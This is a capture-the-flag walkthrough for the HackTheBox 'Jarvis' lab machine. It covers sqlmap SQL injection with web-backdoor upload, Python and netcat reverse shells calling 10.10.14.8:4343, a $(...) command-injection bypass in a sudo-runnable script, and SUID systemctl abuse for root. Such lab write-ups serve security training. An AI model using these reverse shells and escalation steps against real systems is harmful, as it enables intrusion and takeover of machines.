Hack The Box
HackTheBox “Jarvis” Walkthrough
Jarvis, a medium-level Linux OS machine on HackTheBox, entails leveraging a SQL injection vulnerability to establish initial access, capitalizing on a Python script for privilege escalation to the “pepper” user, and…
Jarvis, a medium-level Linux OS machine on HackTheBox, entails leveraging a SQL injection vulnerability to establish initial access, capitalizing on a Python script for privilege escalation to the “pepper” user, and then exploiting the Systemctl binary’s SUID privileges to ultimately elevate privileges to the coveted root level.

Let’s get started! 🚀
Recon & Enumeration
Let’s use nmap to full scan for open ports and services:

Visit the target on port 80.

The subsequent action involves executing a Feroxbuster scan to identify concealed files or directories:
└─$ sudo feroxbuster -u http://10.10.10.143 -n -X 404,403 ___ ___ __ __ __ __ __ ___|__ |__ |__) |__) | / ` / \ \_/ | | \ |__| |___ | \ | \ | \__, \__/ / \ | |__/ |___by Ben "epi" Risher 🤓 ver: 2.10.0───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.10.143 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 💢 Regex Filter │ 404 💢 Regex Filter │ 403 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🚫 Do Not Recurse │ true───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™──────────────────────────────────────────────────404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter403 GET 11l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter301 GET 9l 28w 313c http://10.10.10.143/images => http://10.10.10.143/images/301 GET 9l 28w 309c http://10.10.10.143/js => http://10.10.10.143/js/301 GET 9l 28w 310c http://10.10.10.143/css => http://10.10.10.143/css/200 GET 205l 1368w 8111c http://10.10.10.143/js/jquery.easing.1.3.js200 GET 55l 169w 1410c http://10.10.10.143/js/magnific-popup-options.js200 GET 35l 80w 972c http://10.10.10.143/fonts/flaticon/font/flaticon.css200 GET 286l 482w 6117c http://10.10.10.143/js/main.js200 GET 1l 82w 3630c http://10.10.10.143/css/owl.carousel.min.css200 GET 368l 876w 7781c http://10.10.10.143/css/magnific-popup.css200 GET 292l 840w 11849c http://10.10.10.143/rooms-suites.php200 GET 52l 123w 2315c http://10.10.10.143/css/owl.theme.default.min.css200 GET 275l 703w 6864c http://10.10.10.143/css/flexslider.css200 GET 272l 674w 9304c http://10.10.10.143/dining-bar.php302 GET 101l 231w 3024c http://10.10.10.143/room.php => index.php200 GET 7l 152w 8835c http://10.10.10.143/js/jquery.waypoints.min.js200 GET 4l 317w 15413c http://10.10.10.143/js/modernizr-2.6.2.min.js200 GET 5l 150w 22342c http://10.10.10.143/js/jquery.flexslider-min.js200 GET 512l 1690w 17946c http://10.10.10.143/css/bootstrap-datepicker.css200 GET 543l 1653w 23628c http://10.10.10.143/index.php200 GET 130l 782w 64595c http://10.10.10.143/images/menu-9.jpg200 GET 2l 276w 40401c http://10.10.10.143/js/owl.carousel.min.js200 GET 2334l 3908w 35786c http://10.10.10.143/css/icomoon.css200 GET 7l 430w 36816c http://10.10.10.143/js/bootstrap.min.js200 GET 165l 1079w 94430c http://10.10.10.143/images/menu-4.jpg200 GET 1628l 4730w 46275c http://10.10.10.143/css/style.css200 GET 1671l 4509w 46821c http://10.10.10.143/js/bootstrap-datepicker.js200 GET 196l 1118w 93493c http://10.10.10.143/images/menu-2.jpg200 GET 194l 1176w 111879c http://10.10.10.143/images/menu-3.jpg200 GET 4l 224w 20932c http://10.10.10.143/js/jquery.magnific-popup.min.js200 GET 3351l 7443w 73008c http://10.10.10.143/css/animate.css200 GET 237l 1489w 125548c http://10.10.10.143/images/room-3.jpg200 GET 258l 1722w 145650c http://10.10.10.143/images/room-1.jpg301 GET 9l 28w 312c http://10.10.10.143/fonts => http://10.10.10.143/fonts/301 GET 9l 28w 317c http://10.10.10.143/phpmyadmin => http://10.10.10.143/phpmyadmin/200 GET 308l 1963w 165172c http://10.10.10.143/images/room-2.jpg200 GET 188l 1112w 99142c http://10.10.10.143/images/menu-1.jpg200 GET 279l 1736w 138783c http://10.10.10.143/images/room-4.jpg200 GET 372l 1701w 151284c http://10.10.10.143/images/room-6.jpg200 GET 6257l 14923w 134656c http://10.10.10.143/css/bootstrap.css200 GET 543l 1653w 23628c http://10.10.10.143/[####################] - 75s 30047/30047 0s found:40 errors:2 [####################] - 75s 30000/30000 402/s http://10.10.10.143/A noteworthy discovery includes the presence of “rooms-suites.php.”

Clicking on one of the rooms gives us an access to /room.php, where a parameter named “cod” contains the respective room number.

Upon substituting the room’s number with either a quote ( ‘ ) or a comment (--), we observed a 404 response. Consequently, we initiated SQL injection testing on the target using the sqlmap tool, with a shell scan option (--os-shell) as a precautionary measure to potentially gain a shell.
└─$ sudo sqlmap -u http://10.10.10.143/room.php?cod=1 --dbs --batch --os-shell ___ __H__ ___ ___["]_____ ___ ___ {1.7.6#stable} |_ -| . ['] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 23:48:31 /2023-07-20/[23:48:31] [INFO] resuming back-end DBMS 'mysql' [23:48:31] [INFO] testing connection to the target URLyou have not declared cookie(s), while server wants to set its own ('PHPSESSID=jbrffg8kph3...brm7veq085'). Do you want to use those [Y/n] Y[23:48:32] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPSsqlmap resumed the following injection point(s) from stored session:---Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=1 AND 6836=6836 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: cod=1 AND (SELECT 9084 FROM (SELECT(SLEEP(5)))sQcx) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-6476 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b716b71,0x5a6c53785a6975435063496c626c4c5245536d4d656451766852786a68735072536e427a4e417079,0x7162717171),NULL,NULL,NULL-- ----[23:48:32] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Debian 9 (stretch)web application technology: PHP, Apache 2.4.25back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)[23:48:32] [INFO] fetching database names[23:48:32] [INFO] resumed: 'hotel'[23:48:32] [INFO] resumed: 'information_schema'[23:48:32] [INFO] resumed: 'mysql'[23:48:32] [INFO] resumed: 'performance_schema'available databases [4]: [*] hotel[*] information_schema[*] mysql[*] performance_schema[23:48:32] [INFO] going to use a web backdoor for command prompt[23:48:32] [INFO] fingerprinting the back-end DBMS operating system[23:48:32] [INFO] the back-end DBMS operating system is Linuxwhich web application language does the web server support?[1] ASP[2] ASPX[3] JSP[4] PHP (default)> 4[23:48:32] [WARNING] unable to automatically retrieve the web server document rootwhat do you want to use for writable directory?[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)[2] custom location(s)[3] custom directory list file[4] brute force search> 1[23:48:32] [INFO] retrieved web server absolute paths: '/images/'[23:48:32] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method[23:48:33] [WARNING] unable to upload the file stager on '/var/www/'[23:48:33] [INFO] trying to upload the file stager on '/var/www/' via UNION method[23:48:33] [WARNING] expect junk characters inside the file as a leftover from UNION query[23:48:34] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)[23:48:34] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method[23:48:35] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpukvbg.php[23:48:35] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbywto.php[23:48:35] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTERos-shell> iddo you want to retrieve the command standard output? [Y/n/a] Ycommand standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'Exploitation:
And we could have a shell using sqlmap, let’s upgrade it to a regular shell by first starting a listener.

Runing the python reverse shell command below.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",4343));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Checking our listener.

And we have a shell, let’s check what privileges we have here.

And we can can run /var/www/Admin-Utilities/simpler.py as pepper .
Let’s have a look at the content of the simpler.py script.
#!/usr/bin/env python3from datetime import datetimeimport sysimport osfrom os import listdirimport redef show_help(): message='''********************************************************* Simpler - A simple simplifier ;) ** Version 1.0 *********************************************************Usage: python3 simpler.py [options]Options: -h/--help : This help -s : Statistics -l : List the attackers IP -p : ping an attacker IP ''' print(message)def show_header(): print('''*********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| ||___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es ***********************************************''')def show_statistics(): path = '/home/pepper/Web/Logs/' print('Statistics\n-----------') listed_files = listdir(path) count = len(listed_files) print('Number of Attackers: ' + str(count)) level_1 = 0 dat = datetime(1, 1, 1) ip_list = [] reks = [] ip = '' req = '' rek = '' for i in listed_files: f = open(path + i, 'r') lines = f.readlines() level2, rek = get_max_level(lines) fecha, requ = date_to_num(lines) ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] if fecha > dat: dat = fecha req = requ ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] if int(level2) > int(level_1): level_1 = level2 ip_list = [ip] reks=[rek] elif int(level2) == int(level_1): ip_list.append(ip) reks.append(rek) f.close() print('Most Risky:') if len(ip_list) > 1: print('More than 1 ip found') cont = 0 for i in ip_list: print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont]) cont = cont + 1 print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)def list_ip(): print('Attackers\n-----------') path = '/home/pepper/Web/Logs/' listed_files = listdir(path) for i in listed_files: f = open(path + i,'r') lines = f.readlines() level,req = get_max_level(lines) print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level) f.close()def date_to_num(lines): dat = datetime(1,1,1) ip = '' req='' for i in lines: if 'Level' in i: fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0] regex = '(\d+)-(.*)-(\d+)(.*)' logEx=re.match(regex, fecha).groups() mes = to_dict(logEx[1]) fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3] fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S') if fecha > dat: dat = fecha req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10] return dat, reqdef to_dict(name): month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'} return month_dict[name]def get_max_level(lines): level=0 for j in lines: if 'Level' in j: if int(j.split(' ')[4]) > int(level): level = j.split(' ')[4] req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10] return level, reqdef exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command)if __name__ == '__main__': show_header() if len(sys.argv) != 2: show_help() exit() if sys.argv[1] == '-h' or sys.argv[1] == '--help': show_help() exit() elif sys.argv[1] == '-s': show_statistics() exit() elif sys.argv[1] == '-l': list_ip() exit() elif sys.argv[1] == '-p': exec_ping() exit() else: show_help() exit()The exec_ping function of the script does a ping against an input IP address, although certain characters [‘ & ’, ‘ ; ’, ‘ - ’, ‘ ` ’, ‘ || ’, ‘ | ’] are forbidden which might otherwise be exploited to break out of the script and gain unauthorized access:

Let’s run the script simpler.pyand have a look.

Privilege Escalation:
The script simpler.py employs user input, and subsequently runs a ping command on the input. As a safeguard against command injection, it scrutinizes the input for potentially harmful characters like &, ;, -, ||, and |. However, an oversight lies in the failure to account for the dollar sign ($), which can be utilized to execute commands enclosed within $(...). Consequently, this vulnerability enables us to execute arbitrary commands and gain unauthorized access to the system by simply using $(bash).
First, we start a listener.

Next, we create a reverse shell bash file using the command below:
echo "nc -e /bin/sh 10.10.14.8 4343" > shell.sh
Then, we run the script as the user pepper .
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
And in the field of user’s input we enter the following command:
$(bash /tmp/shell.sh

Back to our listener.

And we have a shell with the privileges of the user pepper .
Let’s have a look at the suid binaries using the command below.
find / -perm -4000 2>/dev/null

So, during our check into GTFOBins, we stumbled upon a trick to exploit suid systemctl, by crafting a new service that can run a specific file when it starts up. Then, using systemctl, we enable and start this service and boom! The designated file executed with powerful root privileges shell.
First we start another listener.

Now, we create the new service using the commands below with embedding a reverse shell netcat command.
echo "[Service]>[Unit]>Description=root>>[Service]>Type=Simple>user=root>ExecStart=/bin/sh -c 'nc -e /bin/bash 10.10.14.8 4343'>>[Install]>WantedBy=multi-user.target" > priv.serviceSubsequently, the recently created service “priv.service” is enabled and initiated.

Back to our listener.

And we have a root shell.
Cheers.